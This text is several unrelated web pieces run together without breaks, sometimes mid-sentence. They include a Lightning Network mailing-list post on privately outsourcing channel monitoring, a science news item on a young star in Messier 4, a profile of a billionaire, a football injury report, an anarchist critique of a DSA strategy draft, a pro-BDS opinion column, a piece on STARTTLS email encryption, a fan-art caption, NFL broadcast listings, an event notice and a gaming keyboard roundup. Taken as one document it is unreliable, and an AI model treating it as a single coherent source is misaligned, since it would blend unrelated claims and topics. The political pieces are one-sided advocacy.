Blinded outsourcing of channel monitoring The big risk in LN is that an attacking node can close a channel at an old, invalidated state beneficial to the attacker, and the Bitcoin network will accept these transactions. The node being attacked can defend by grabbing both outputs, which will probably make such attacks quite rare. But, nodes have to be online to detect this attack and defend against it, or risk losing funds. Outsourcing this vigilance can further defend against attacks by allowing multiple parties to mount the defense. My initial thinking was that minimizing the amount of data stored on the observer would be best, but I don't think there's a way to make it O(log(n)) with the way Bitcoin works today. (Sighash_noinput, some variants of MAST, etc could make that work and we should keep that in mind, but that may be longer term) So if it's going to be O(n), another way to make outsourcing better is to anonimize / blind it. Of course if the observer actually sees an invalid close and sends out a transaction moving the attacker's time-locked funds, they will learn about how big the channel was, the txid, etc. But 99.999% of the time, channels won't get closed at an invalid state, so the observer doesn't actually do anything. Most of the time channels will be closed cooperatively, but some times they'll be closed unilaterally because one node is offline / unresponsive. We should keep privacy in either of those cases. States with in-flight HTLCs are another issue... if you want to keep the data storage down, you can just not include them, and make a policy that the sum of all the HTLCs should be less than either non-HTLC balance in the channel. That way the attacker still loses money if they try to attack. They potentially might not lose all of it though. You could make it variable size and include HTLCs as well but that increases the data rate significantly and probably hurts anonymity in various ways. Without HTLCs, the script I have now specifies 2 pubkeys and requires 1 of 2 signatures- either from the timeout key or the revocable key. The goal is that the observer is monitoring a channel, but even an uncooperative close of that channel is undetectable, even after the output is spent and the pubkeys are revealed in the p2wsh preimage. To meet this goal the two pubkeys have to change completely with every new state, and also the non-timelocked pubkey Hash output also needs to change each time. A simple way to do it would be to have the two sides of the channel make up new timeout and revocable pubkeys for each new state, but that's a lot of data for them, and also an extra 66 bytes per state for the observer. Instead, we can use the elkrem tree not just to revoke states, but also to obscure the keys in each state. To do this, the messages actually didn't change too much, but key derivation changes a bit. At channel setup, A and B share "base points", which are their public keys which will be used in the commitment script. However these public keys are never used directly so I call them "points" on the curve rather than pubkeys themselves. (Not sure what the best convention is for that; I figure, call it a pubkey if you end up putting it on the blockchain and making a signature with it; call it a point if it's used otherwise, including to build a pubkey.) When making a new state, instead of A sending B a revokable pubkey, A instead sends two "elkrem points" specific to the state number. These points are both deterministically derived from the same elkrem hash. For example, if we're building state 9, A goes down the branches of their elkrem tree to node #9, and gets a 32 byte hash. A appends ascii "t" for the timeout point, and ascii "r" for the revocable point. A then uses those two hashes as private scalars and multiplies by G, creating points on the curve, or public keys. A sends those points to B as the "elkrem points". B then adds elkrem point R to A's base point and elkrem point T to B's own base point. The former results in A's revokable pubkey, the latter in B's timeout pubkey for the script. A sends elkrem points: elkrem point R + B base point: Revokable Pubkey elkrem point T + A base point: Timeout Pubkey B's elkrem point R + B's refund point: Refund Pubkey hash with these points, B signs & sends, A stores. B sends elkrem points: elkrem point R + A base point: Revokable Pubkey elkrem point T + B base point: Timeout Pubkey A's elkrem point R + A's refund point: Refund Pubkey hash with these points, A signs & sends, B stores. Before the state is revoked, the sender knows the scalar to generate the elkrem points, so there's nothing hidden about the timeout and refund pubkeys. Those just obscure the channel. The revokation pubkey is the only one where nobody individually knows the private key for the pubkey until the hashes are revealed. Once the hashes are revealed and put into the tree, either party can regenerate all the pubkeys at any previous state quickly. That's not actually useful for the two nodes (why would you want to generate the script of an old state?) but it's very useful for the outsourcing node. They won't be able to recognize state n, but state 0... n-1 are recognizable and can be stored efficiently. The reason two different points are needed is that if you add the same elkrem point to the two base points, the observer can subtract the base points from the public key seen in the witness script. A base point - timeout pubkey = elkrem B base point - revokable pubkey = elkrem if (A base point - timeout pubkey) == (B base point - revokable pubkey) then that point must be the elkrem point, which would indicate that those base points were used, allowing the observer to identify the channel. Those are (I think) the only changes needed in the LN messages / protocol itself. The design of the observer is not quite done but I have the basic idea. It's kindof interesting, scalability-wise, because it will be looking for a set of txids that's potentially much larger than the whole blockchain! Basically when a node wants to give the observer an old state to watch, it just gives a signature, a txid, and an elkrem hash. Only the signature and txid need to be stored. Also you can drop part of the txid at the risk of collisions, but the cost of collisions is pretty small (mainly a few EC operations to build the pubkeys for the script), so 16 or even 8 byte txids could work. If the observer sees a transaction in a block which matches a txid they're looking for, they do some sanity checks (e.g. does this tx have a p2wsh output?) then re-create the script, by using the elkrem tree they have, getting the state number from the tx itself (6 bytes, encoded in nLockTime / nSequence), generating the elkrem points, adding them to their stored base points, hashing the script and seeing if the script matches. If it does,, add the fixed output address, and figure out the output amount based on the input amount. Then add the signature, which should match up and result in a valid transaction. This is preliminary and I wanted to send this mail about a week ago but I kept finding ways the observer could figure out which channel it was observing, and then devising ways to stop that. The nice part about this way of doing it is that you can share the channel state data with people you don't know or trust. Maybe they won't actually watch over the channel for you, but maybe they might. If someone wanted to be really nice, they could try to get *every* channel and observe it. All you need is one or two nice people like that, and invalid closes become nigh impossible. I'll post a bit more once it's more finalized. If people see any problems with this method please let me know! -Tadge -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20160808/70c806f2/attachment.html>News in Science
Mysterious star challenges view of clusters
Mystery star Mystery surrounds the discovery of a very young star deep in the midst of an ancient stellar cluster.
If the star is as young as it seems, the finding, published this week in the journal Astronomy and Astrophysics, challenges our current understanding of the nature of such clusters.
The Milky Way galaxy is orbited by more than 150 globular clusters, which are tight balls of tens of thousands of ancient stars dating back to the distant past of the universe.
There has been a long-standing belief that all stars in globular clusters are born at the same time, whereas stars in galaxies can be of different ages.
But astronomers using the European Southern Observatory's La Silla telescope in Chile have now made a discovery that undermines this idea.
While studying what's known as a globular cluster, called Messier 4, 7200 light years away, in the constellation Scorpius, they found a star that is much younger than those around it.
"[The] star #37934, shows remarkably high lithium abundance, compatible with current estimates of the primordial lithium abundance," researchers report.
Lithium is normally gradually destroyed over a star's life. But this one star among thousands, has somehow either managed to retain its original lithium, or found a way to enrich itself with freshly made lithium from other stars.
The star was discovered in spectroscopic observations used to study the chemical composition and age.
"The evidence suggests that the high lithium abundance of star #37934 may originate by pollution from a previous generation of stars," the researchers write.
They say the recent detection of a lithium-rich star of pollution origin in another globular cluster may also point in this direction.
However they say there's not enough evidence to rule out the possibility that star #37934 has somehow kept its primordial lithium abundance.
A lot to learn
Astronomy Professor Duncan Forbes from Melbourne's Swinburne University says this discovery shows how much scientists still need to learn about something they thought was very simple and well understood.
"This further blurs the distinction between globular clusters and galaxies," says Forbes.
"We used to think all the stars in a globular cluster formed at the same time from the one molecular gas cloud, so they all have the same chemical composition... We now know that's clearly not the case," he adds.
"So maybe we need another classification scheme that unites more massive globular clusters and galaxies."Is it cold outside? Nicolas Berggruen asks, glancing through the picture window of his penthouse suite at the Carlyle. Maybe I need another jacket. He darts into the bedroom, where his clothes are stored neatly in a black wool duffel, and emerges in a zipped black cardigan. Let’s go! says the billionaire founder of investment company Berggruen Holdings and the Berggruen Institute, a think tank with the modest goal of solving the world’s problems, funded with $100 million of his own money and staffed with an impressive roster of boldface names from the international business community. A trim, tiny 50-year-old Ken doll, Berggruen looks like he’s 30 and acts like he’s 20. He’s always bounding restlessly around in search of action, so much so that a decade ago, he gave up his full-time residence and most of his belongings in favor of shuttling between luxury hotels on his Gulfstreama haute-itinerant lifestyle that has earned him the moniker the homeless billionaire.
It’s simpler, he explains, as we make our way across the street to Café Boulud, where the maître d’ greets him by name and seats us next to a table of thin women with small dogs, Berggruen’s part-time neighbors. Are you traveling a lot? one of them asks. A little bit, he says, and everyone giggles.
Berggruen has just returned from Brussels. (A terrible city, he says, boring.) There, members of his Institute’s Council for the Future of Europeincluding former heads of state Gerhard Schröder, Felipe González, and Tony Blairhad presented their ideas to solve the eurozone’s money troubles. And he’s about to leave for California, to meet members of the Institute’s Think Long CommitteeCondoleezza Rice, Google CEO Eric Schmidt, and former San Francisco mayor Willie Brownhammering out a proposal aimed at easing that state’s economic woes.
Europe has been so chaotic, says Berggruen, brushing back a stray piece of graying hair. I am jet-lagged, he informs the waiter. I need a cappuccino. No! An espresso. He squints at the menu. Brunch is boring, he notes. But that’s part of the charm of it.
In some respects, Berggruen is an unlikely political activist. The son of a German actress and a renowned art collector, he attended Swiss boarding schools and later NYU, after which he made an estimated $2 billion turning around distressed companies like PRISA, which publishes El País. Along the way, he’s burnished a reputation as an old-fashioned international playboy. Every year, he holds an Oscars party at the Chateau Marmont, with guests ranging from Gray Davis to Paris Hilton. I don’t have a house, and I don’t have a lot of time for socializing, so every year I have a party for all of my friends, he explains. He dates models and actresses, with whom he takes a Clooney-like stance. I tend to end relationships, he says, as the women at the next table strain to listen in, so she can find somebody better than me. Because I want to be fair to people. I cannot devote enough energy and time and devotion to her. I think that is fair, no?
Like many in his cohort, Berggruen believes governments should be more like businesses, and the proposal the Think Long Committee released last month contained suggestions for how California might curb its inefficiencies, among them the implementation of a service tax. You tax a doughnut, but you don’t tax a lawyer’s services? Berggruen says, putting down his fork in a way that suggests the foolishness has cost him his appetite. Needless to say, he is an idealist: At 15, he wrote a constitution for a utopian country. California is a place that’s got fantastic underpinnings, he saysthe tech industry, the natural resources. It’s facing hard times, but it needs structure, it needs attention. It’s like a plantyou give it air, you give it water, you give it sun. As long as there’s fundamentally something good, you make it flourish again.
While he is hopeful, Berggruen is also the first to admit that none of either committee’s suggestions may ever be implemented. The West needs to dramatically restructure, and a lot of sacrifices will be needed. People don’t like to sacrifice. At least, he figures, he has bought attention. I can point to this group we have, this group of knowledgeable, accomplished people, and say, at least, listen to this group. He shrugs, as if to say, Hey, I tried. If you people want to continue screwing everything up, it’s no skin off my nose, I have a private jet and billions of dollars.
As we’re sitting there, a man, perhaps an actual homeless person, ambles up to the curb and begins to serenade the café’s patrons. Berggruen lights up. Oh, music! he says. Except I have no money with me. Neither do the women at the next table, so I pull out a $20 and drop it in his bucket, for all of us. There, says the billionaire, beaming. You did a good thing.Sunderland have now lost more than 1,000 days to injury this season - the highest total in the Premier League.
And Sportsmail can also reveal that David Moyes has seen his squad suffer 46 separate injuries, another unwanted top-flight record.
Indeed, Moyes could arguably name a stronger starting XI from those players missing than the team he will pick for tonight’s FA Cup third round replay at Burnley.
David Moyes' Sunderland team are the most injured side in the Premier League, stats show
The injury list is crippling for a boss who already has limited tools available to him. Moyes insists it is not his training methods which are the cause of the problems |
movements into the Democratic and electoral swamp. This is especially true of the union bureaucracies, which are agents of capitalism within the organized workers movement. The document is for more democratic and militant unions, but says nothing about the existing union officialdom as a barrier to achieving these and other progressive goalsabout the need to fight the union bureaucrats. (This does not rule out having united fronts or coalitions with union officials or other liberal leaderships over specific issues.)
The documents authors insist on taking part in the electoral process even though elections in and of themselves will not bring about major political, economic, or social reformslet alone establish a pathway to socialism. (40) They are also for direct action by mass democratic movements (5) but these remain subordinated to legislative activities. To repeat, they believe it is through the radical democratization of the state that socialists will overcome capitalism. (5)
Yet virtually all progress in U.S. politics has come about through non-electoral means. In the 30s, gains were won for workers through union organizing and militant and massive strike actions. Advances for African-Americans were won in the 50s and 60s through mass civil disobedience (law-breaking) and urban rebellions (rioting). The anti-war movement of the 60s included large demonstrations, civil disobedience, college strikes, draft resistance and rebellion within the military. LGBT gains were made through the Christopher Street riot and ACT-UPs civil disobedience. And so on. It is not as if there is no alternative to an electoralist strategy.
The Crisis
In their analysis, the authors correctly see the 30 years of prosperity which followed the Second World War as essentially overand not coming back. Neoliberal politics have driven back the historic gains of the Western working class. Across the global North, wage earners incomes and purchasing power have stagnated, while the wealth of the superrich has soared.We can expect a deepening of the contradictions of capitalism and a return to the dramatic inequality we saw in the Gilded Age of the 19th century. (7-8) Simultaneously, capitalism is causing the ever worsening disruption of the global climate.The percentage of greenhouse gases in the atmosphere is rising to a level incompatible with maintaining a sustainable environment on earth. (9) In short, The 21st century could be very bleak indeed. (18)
In reaction to these terrible trends there has been an increase in unrest and, at least, the potentiality of struggle. They note that From 1980 through 2010, the worlds working class increased by two-thirds.. (8) They note the rise of rebelliousness in the U.S. and around the world.
To step back from the DSA document, look at a New York Times article on the way money for the 2016 elections is being raised by a small group of extremely rich people (From Only 158 Families Half the Cash for 16 Race; 10/11/15). The article notes, The donors are also serving as a kind of financial check on demographic forces that have been nudging the electorate toward support for the Democratic Party and its economic policies. Two-thirds of Americans support higher taxes on those earning $1 million or more a year, according to a poll, while six in 10 favor more government intervention to reduce the gap between rich and poor.The campaign finance system is now a countervailing force to the way the actual voters of the country are evolving and the policies they want, said a political and demographic expert. (1 & 24)
In other words, the country is polarizing. On one side is an extreme faction of the ruling class, mostly leading the rest of its class, and supported by a racist, nativist, hysterical minority of a whipped-up white middle class and working class base. On the other side is a multi-racial, multi-national working class, moving slowly to the leftmostly still tied to the moderate wing of the capitalist class, to the Democratic Party and the union bureaucracies, and favoring mild reforms to the system. Of course, the electoral system is a very poor reflector of popular political sentiment. However, there is a tide running our way, but the problem is to win the people from their faith in the capitalist system and its agencies, especially the Democratic Party and elections in general.
In this context, there is one point I am strongly in agreement with in the DSA draft document. It repeatedly declares that its members should participate in movements and coalitions as explicit socialists. (38) Rather than appearing as just militant rank-and-filers, advanced liberals, or progressive activists, they should make a point about being socialists. This means doing more than dealing with specific problems of capitalism. It means raising a vision of an alternate way of organizing human society, including alternate ways of human society relating to the natural world.
Their Vision of Democratic Socialism
Much of their stated vision of socialism seems to have been influenced by anarchism or, at least, by the anti-authoritarian trends which lead to anarchism. The DSAers write about the reorganization of work, workplace democracy, replacing the hierarchical structure of todays corporations with management teams elected by and responsible to employees, worker-run cooperatives. (23) They advocate new forms of direct democracy, (24) general assemblies at the neighborhood level citizen boards program councils municipal and state assemblies. referenda.(25) Even elected representative should be subject to immediate recall by citizens. So far, so good.
It is important to remember that they expect these libertarian-democratic changes to take place through the statethe existing state which has been reformed. Again: It is through the radical democratization of the state that socialists will overcome capitalism. (5) The authors refer to the democratic socialist revolution, (27) by which they mean a drastic change but not an actual revolution (the overturning of the capitalist class, its state, and all its institutions of oppression). They suggest nationalizing key industries such as utilities or automobile manufacturing and possibly buy[ing] out private firms. (27) That is, the state would take over large sections of the economy, even though supposedly the workers would participate in their management. There would be a core sector of the economy which would be owned and planned by the government (with worker participation in management) and independent enterprises (mainly workers cooperatives) regulated by state agencies. DSAers disagree, they write, on how much of a market there would still be, but not on a major role for the state in the economy.
The state would be radically transformedbut not abolished. .Under democratic socialism, security institutions such as the National Security Administration, the Central Intelligence Agency, and the Federal Bureau of Investigation would either be dramatically downsized, dismantled, or consolidated. (25) Police would still be there, but under citizen review boards. I do not find such ideas to be very comforting.
Contrast this with the anarchist goal of replacing the bureaucratic-military-capitalist machinery of the modern state, which stands over the rest of society. Instead there would be a federation of workplace councils and neighborhood assemblies to coordinate society. There would be a democratic armed people (a militia) instead of the police or military. The economy would be a federation of self-managing industries, consumer cooperatives, and agricultural-industrial communeswith different regions experimenting with different ways of organizing themselves. Formerly oppressed sections of the population would have full self-determination. This is the vision of revolutionary libertarian socialism.
Reform or Revolution?
At the very end of the draft document, the authors come up with another serious problem. What if the capitalists do not allow a freely-elected democratic socialist government to take away their wealth, their power, and their social standing? What if they resist the democratic government? In fact, they note, In the 1970s through the early 1980s governments controlled by socialist or labor parties, in Sweden, Chile, and France, for example, sought to do just what we propose.Capitalists reacted quickly and viciously, usually by means of a capital strike [not investing in the economy, causing unemployment and suffering] In other cases, capitalists allied themselves with military and foreign powers to topple the socialist government by force. (48) The history of European fascism is relevant here. So are the more recent developments of the Workers Party in Brazil, the ANC in South Africa, the suppression of the Arab Spring, andright nowSyriza in Greece.
Suppose the capitalist class and its supporters insist on keeping their investments, their industries, their mansions, and their banks, as well as their politicians and other lackies. Suppose they plan a military coup, or pay for fascist gangs, or use the courts or the legislatures to outlaw the socialist parties. What then?
The DSAers response is rather pathetic. Even with solid majority support and an internal democratic culture capable socialists would still face the challenge of overcoming anti-socialist violence.There is no easy solution to this problem, but building rank-and-file support within the police and armed forces will be essential in any socialist transition. (49)
Yes it will be extremely important to build socialist support among the ranks of the military (mostly daughters-and-sons of the working class and lower middle class). But it will also be necessary to try to disband the professional police and the long-term lifers and officers among the military. It will also be necessary to arm the workers and oppressed and organize them to protect their communities and industries. It will be necessary for workers and neighborhood councils to prepare for massive strikes in the event of a capitalist-military-fascist offensive. It will be necessary to carry through the socialist program all the waythat is, to make a revolution. Anything else could lead to a bloodbath of the people. The failure of the DSAers to raise such a perspective is a part of their being reformist socialists.
Of course, right now we are very far from such a situation. But it is not too soon to think about it. Hard times are here and (with ups and downs) will be getting worseas the DSAers write. Even now there has been a popular turn to the left, that is, in the direction of mass struggle and of hope for a better world. There is a revived interest in socialism, of a democratic or libertarian sort. But it must be presented in the most radical, the most anti-authoritarian, and the most revolutionary way.
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English Italiano Deutsch This page can be viewed inThe video above was taken at the University of Rochester on February 27, 2009, by Adriano Contreras of The Sitch. It focuses on similarities and differences between Israeli and S. African apartheid. The article below, “Is Boycotting Israel Anti-Semitic?” also appears as my column today in Socialist Worker.
ISRAEL’S SUPPORTERS wield the accusation that Palestine solidarity activists who support a boycott of Israel are guilty of anti-Semitism.
Because this charge is so repugnant to progressives, as Zionists are all too aware, it can have the effect of shutting down any debate about Israel’s crimes. In particular, the charge is leveled at the global movement for boycott, divestment and sanctions (BDS) against Israel, which seeks a campaign until Israel “meets its obligation to recognize the Palestinian people’s inalienable right to self-determination and fully complies with international law,” as stated in the BDS call to action.
The outlandish charges by Israel’s defenders against pro-Palestine activists reach the heights of hysteria on Web sites like BoycottIsrael.org.uk, which falsely poses as “The official boycott Israel site” and is headlined, “The real Palestine story is just anti-Semitism re-branded–instigated and supported by the storm troopers of our time.”
There you have it. According to them, support for a boycott of Israel, which acts in open defiance of international laws and any unbiased person’s moral code, is nouveau-Nazism.
This accusation is not simply an odious lie, it is an attempt to manipulate hatred of anti-Semitism to draw attention away from the ongoing Israeli crimes of dispossession, systematic racism, collective punishment and wholesale warfare on a population guilty of nothing other than their own existence.
It is an old debaters’ ruse that when you don’t have the facts on your side, change the subject. That’s what the charge of anti-Semitism is really all about.
When Zionists claim that acts of anti-Semitism, which are on the rise in some places, are the result of the BDS movement, activists must confidently confront them with reality. The BDS movement has always condemned anti-Semitism in all its forms, and none of its materials nor actions make appeals to anti-Jewish sentiment.
Omar Barghouti, a BDS movement leader, visited Rome last spring, and this is how journalist Max Blumenthal reported on his response to this mischaracterization of the boycott campaign:
Regarding the accusation of anti-Semitism frequently leveled at BDS, he replied that such an accusation is in itself anti-Semitic, inasmuch as it creates an equivalence between all Jews and Israeli policies, implying that Jews are monolithic, and that all Jews should be held responsible for Israel’s actions.
Such generalizations and the idea of collective Jewish responsibility are fundamentally anti-Semitic. He called upon Europeans to stop assuaging their Holocaust guilt by oppressing the victims of the victims of the Holocaust.
– – – – – – – – – – – – – – – –
KNOWING THE history of Palestinian oppression is indispensable in combating this myth.
The expulsion in 1948 of nearly 700,000 Palestinians from their homeland as part of a colonial-settler project undertaken by Zionists and supported by the United States is an uncontestable point of history, about which anyone is welcome to their own opinion, but not their own version of the facts. It happened.
As Israeli-born Jewish historian Ilan Pappé writes in A History of Modern Palestine:
Out of about 850,000 Palestinians living in the territories designated by the UN as a Jewish state, only 160,000 remained [by 1949] on or nearby their land and homes. Those who remained became the Palestinian minority in Israel. The rest were expelled or fled under the threat of expulsion, and a few thousand died in massacres.
Palestinians were driven from their land, some by the self-described terrorists of the Zionist Irgun and Stern Gang. Today, most of the world’s Palestinian population lives in exile outside of Israel and in the Palestine Occupied Territories, with no right to return to the land of their ancestors. This refusal of return is in stark contrast to the Law of Return that virtually guarantees citizenship to Jews from around the world–even if they have no family there, have never before visited, nor speak the Hebrew language.
The horrifying conditions of malnutrition, mass unemployment and wholesale deprivation in the Gaza Strip are often detailed by SocialistWorker.org, as are the atrocious facts of life for those Arabs living in the West Bank, where hundreds of miles of separation walls with militarized checkpoints confine the daily lives of every Palestinian.
But less is written about Palestinian citizens of Israel–those who live outside of the Occupied Territories of the West Bank and Gaza, but inside the borders of Israel–who live under a separate set of laws. That is, they live under apartheid conditions. If not for the horrors of the Holocaust, most people would readily agree that a nation with privileges and rights for one ethnic group and not the others is racist. By any objective measure, Israel is, in fact, a racist state.
For example, all residents of Israel must register their ethnicity–Jewish, Arab, Druze–because different rights accrue to different peoples, and all must carry identity cards that have this information at all times. Non-Jews of Israel, of whom there are more than 1 million, are treated more like residents without a nationality or equal rights.
This became shockingly clear in July when a Palestinian Israeli man was convicted of raping a Jewish Israeli woman in Jerusalem even though the couple had consensual sex. Because the man had lied about his nationality and deceived her, he was convicted of rape.
As Jewish Israeli journalist Gideon Levy argued, “I would like to raise only one question with the judge. What if this guy had been a Jew who pretended to be a Muslim and had sex with a Muslim woman? Would he have been convicted of rape? The answer is: of course not.”
Ninety-three percent of the land in Israel is nationalized and controlled by the Jewish National Fund and the Jewish Agency, which denies Arabs the right to buy or even rent land, while Jews can easily do so.
Facts are facts. Israel claims to be a Jewish state that aims to “transfer,” better known as cleanse, Palestinians in order to maintain its demographic Jewish majority. Therefore, it is trying to taint a global justice movement with charges of anti-Semitism so that Israel will not be turned into a pariah state for its apartheid laws and unconscionable war crimes.
That some people in the world might falsely conflate Judaism with Zionism is perhaps because the state of Israel does so itself. That is not a brush Zionists can paint the BDS movement with, however.
Jews such as Pappé, Levy, Blumenthal and a growing army of lesser-known pro-Palestinian Jews, including myself, are willing to call out Israel for its thwarting of international law and basic norms of humanity. And we especially, the children and grandchildren of the Holocaust generation, will not allow accusations of anti-Semitism to muddy the waters.
The BDS movement is a struggle for social, political and economic justice. Join it.
Sherry Wolf, a member of the International Jewish Anti-Zionist Network, is a public speaker, writer and activist who is available to speak on Palestine, Sexuality and Socialism, How Can We Unite and Fight the Right and other topics at your campus, community center or union hall for a moderate fee. Wolf is the associate editor of theInternational Socialist Review and author of Sexuality and Socialism: History, Politics and Theory of LGBT Liberation(Haymarket Books, named one of theProgressive’s “Favorite Books of 2009”). Contact Sherry at: sherrywolf2000 at yahoo.com or find her on Facebook. Check out the video of Sherry speaking with Cleve Jones and the cast of Hair at the National Equality March.
AdvertisementsServer-to-server e-mail encryption using the STARTTLS protocol has reached an important tipping point that hardens the majority of messages Facebook sends its users against wholesale snooping by well-financed adversaries, according to figures released Tuesday by the site.
The social network said 58 percent of the notification e-mails it sends users are successfully encrypted using STARTTLS. Even more impressive, 76 percent of unique Mail Exchange hostnames are set up to support the protection, although only about half of them use valid digital certificates to cryptographically validate connections. STARTTLS ensures that plaintext e-mails are encrypted before being transferred from the sending server to the receiving server. Amid revelations of an expansive surveillance program by the National Security Agency and other state-sponsored groups, the extension is seen as a way of thwarting such programs or at least making them more costly to carry out. But like most network-based technologies, its value is proportional to the square of the number of servers that use it, meaning it provides benefit only when widely used.
"It's clear to us that STARTTLS has achieved critical mass and there is immediate value in deploying it," Facebook officials wrote in a blog post. "We encourage anyone who has not already deployed STARTTLS to at least deploy it for opportunistic encryption. As more systems support e-mail encryption, the value increases for everyone."
"Opportunistic encryption," in this case, refers to a server that uses STARTTLS to encrypt e-mails but skips the additional step of validating itself to other servers and ensuring other servers validate themselves. The validation requires e-mail servers to rely on the same type of digital certificates used in the transfer layer security protocol protecting millions of websites. The call by Facebook that sites implement at least some of the protections provided by STARTTLS is a pragmatic approach. Critics often counter that encryption provides little real benefit unless each party first takes the time to validate the identity of the other party. If at all possible, sites that enable STARTTLS should take the additional step of using a valid certificate that will ensure TLS validation isn't skipped.
End users should remember that STARTTLS isn't a substitute for end-to-end encryption such as GnuPG. That's because STARTTLS encrypts messages only when they're transferred wholesale from one mail server to another. People with trusted access to either server could still monitor the e-mail contents, as might someone on the same local network as the sender or receiver (depending on the type of connection). GnuPG, by contrast, provides a much higher degree of assurance that only the end users can read the contents. For a primer on using GPG and S/MIME, see last year's Encrypted e-mail: How much annoyance will you tolerate to keep the NSA away?Not a lotta effort put into this one since it's so late.In the season 2 episode "Luna Eclipsed," I was a little disappointed to find out no one guessed Twilight was dressed as The Great and Powerful Trixie. Out of all the guesses they made, I thought Trixie would be the most obvious.So, as a joke, I dressed Trixie (pony on the left. Yes, that's her.) up in what I thought she thought an appropriate Twilight Sparkle costume would be, in hopes of making Twilight look ridiculous. Little did she know Twilight had done the same thing for her (not really, but she didn't know that.And I tell you all this so that maybe you will get the joke....Which probably means it wasn't the best joke to begin with...We're 24 hours away from kickoff in Atlanta for this weekend's game between the Minnesota Vikings and the Atlanta Falcons, ladies and gentlemen. In order to make sure that you're able to follow along with all of the action from the Georgia Dome, we've got all of the different means for you to do so right here.
Television Info
After a couple of weeks of having to wait for the Vikings' game to kick off, this week's game is back at the best possible time for NFL football, that being noon Central time on Sunday. With this being an all-NFC match-up, the game will be shown on FOX, which is KMSP-9 in the Twin Cities area. If you're wondering whether or not you're in the broadcast area for this weekend's game, here's the map from the folks at 506 Sports. The Vikings/Falcons game is represented by the darker blue color.
Our game will also be the featured game in Alaska, according to The 506.
On the call for the game this week will be Kevin Burkhardt and John Lynch.
If you're outside of the broadcast area and will be looking for the game on the DirecTV NFL Sunday Ticket package, you'll want to set the box to Channel 705.
For those folks north of the border, there are a lot of different stations carrying this contest. You can see it on CTV Alberta, Kingston, Ottawa, Peterborough, Saskatchewan, Thunder Bay, Vancouver, and Winnipeg. It will also be on FOX Detroit, Minneapolis, Spokane, and Tacoma. (Thanks to A Rouge Point for that information.)
If you're in the United Kingdom, this game won't be featured on television anywhere. Your best bet is NFL GamePass. (Thanks to NFL UK.)
For our men and women overseas, this game will be shown live on the American Forces Network. The game will be on AFN Sports 2, and kickoff is scheduled for 1800Z. That means a kickoff time of 1900L for folks in Central Europe, 2230L for everyone in Afghanistan, and for those in Japan and Korea, you'll have to wait until 0300L on Monday morning. (As someone that's done the NFL thing from Korea before, let me tell you...Mondays at work are rough.)
Radio Info
If you'd rather listen to the call courtesy of Paul Allen and Pete Bercich on the Minnesota Vikings' Radio Network, we have a complete list of affiliates for you to find the one in your area. There is also, apparently, a way to listen to the radio feed online through the TuneIn radio service. I've never used it and don't know anything about it, so I can't vouch for it, but it's out there.
If you're going the satellite radio route, you can find the Vikings' radio feed on Sirius Channel 108. If you have an XM Radio, you won't be able to get the Vikings' feed...you'll have to settle for the Falcons' radio announcers on XM Channel 82. If you're using the SiriusXM Online App, you can find the Vikings' feed on their permanent online home, Channel 817.
Referee Info
According to the folks at Football Zebras, the officiating crew for this weekend's contest in Atlanta will be headed up by Clete Blakeman. Blakeman's crew has not officiated a Vikings' game yet this season.
Streaming Info
CCNorseman did a post during the preseason about legal streaming of NFL games. It outlines the only outlets for legal streaming of NFL action. If you're overseas, there's NFL GamePass to subscribe to as well.
As far as other streams are concerned, do NOT...and I mean not in any way, shape, or form...promote illegal streaming sites on The Daily Norseman. Not in the comments, not in the FanPosts, not in the FanShots, not in the Game Thread on Sunday, not anywhere. Don't even hint at them. Trust me on this. If you're that determined to watch the game via an illegal stream, do a Google search and find it on your own.
And that should be all the info you need to follow along with the action from the Georgia Dome tomorrow, ladies and gentlemen. We'll have the Open Thread up tomorrow approximately an hour before kickoff, just after the inactives come out.GSN to film music, dancing and singing to bring home the message of International Day Against Homophobia and Transphobia
Gay Star News is joining forces with the UK capital’s talented LGBT singers and musicians to make a video to mark International Day Against Homophobia and Transphobia (IDAHO).
Our flashmob will be filmed on Saturday (11 May) so the video can be released on 17 May for IDAHO.
The London Gay Big Band and the London Gay Men’s Chorus will be headlining the event and providing the music. And we have teamed up with talented young video artists to make the film.
But we also want you to join in whether you are gay, straight, bisexual or trans.
Gay Star News director Scott Nunn said: ‘We have readers and journalists all around the world so we know how important International Day Against Homophobia and Transphobia, and the message it sends to fight hatred and discrimination, is.
‘Our performance will be a fun, colorful way to support the day and send our love to LGBT people all around the world.’
Filming will be at the Scoop, the open-air performance space by City Hall (south side of Tower Bridge, London, SE1 2DB).
Arrive at 3.30pm on 11 May to be prepped for dancing and singing or just to join the crowd.
Our flashmob will be one of a series of similar events around the world for IDAHO which has a Global Rainbow Flashmob theme.
View Larger MapWe understand that if you already have one of the best gaming PCs, it can be tempting to head to the local big box store and pick up the cheapest keyboard you can find – whatever works, right? Well, after dropping mad stacks on the best computer you could afford, you’re doing yourself and the best PC games a disservice by not using one of the best gaming keyboards.
The best gaming keyboards can noticeably improve your skills in the best PC games, especially if you get a mechanical keyboard. So, when you’re out shopping for one of the best gaming keyboards, keep an eye open for the kind of switches it uses. Membrane switches aren’t usually great for gaming, but mechanical switches are often perfect. And, don’t forget about lighting, it wouldn’t be 2019 without having your desk lit up like a Christmas tree.
So, what makes the best keyboard for gaming? Even if you just have a bit of cash to spends, you can still get one of the best gaming keyboards. And, if money isn’t an issue, there are a ton of feature-rich keyboards with all the bells and whistles. So, let’s dive into all the best gaming keyboards you can buy today, all of which have been tested and reviewed by us.
Razer Huntsman Elite
1. Razer Huntsman Elite
Light it up
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Fast key actuation
Tactile key switches
Expensive
With the Huntsman Elite, Razer has taken speed to a whole new level with its optomechanical switches. That sounds like a mouthful, but Razer has managed to take mechanical switches and integrate optical sensors, this allows the Huntsman Elite to take actuation to another level – you simply won’t find a faster keyboard in 2019. But switches aside, it feels great to type on, and it’s covered in more RGB lighting than you can shake a stick at. Sure, it requires two USB cables for power with no passthrough and it costs a small fortune – but with tech like this, it’s absolutely worth it.
Read the full review: Razer Huntsman Elite
Roccat Vulcan 120 Aimo
2. Roccat Vulcan 120 Aimo
The sci-fi keyboard
Interface: Wired | Keyboard backlighting: Yes | Programmable keys: Yes
Feels great to type
Gorgeous lighting
Expensive
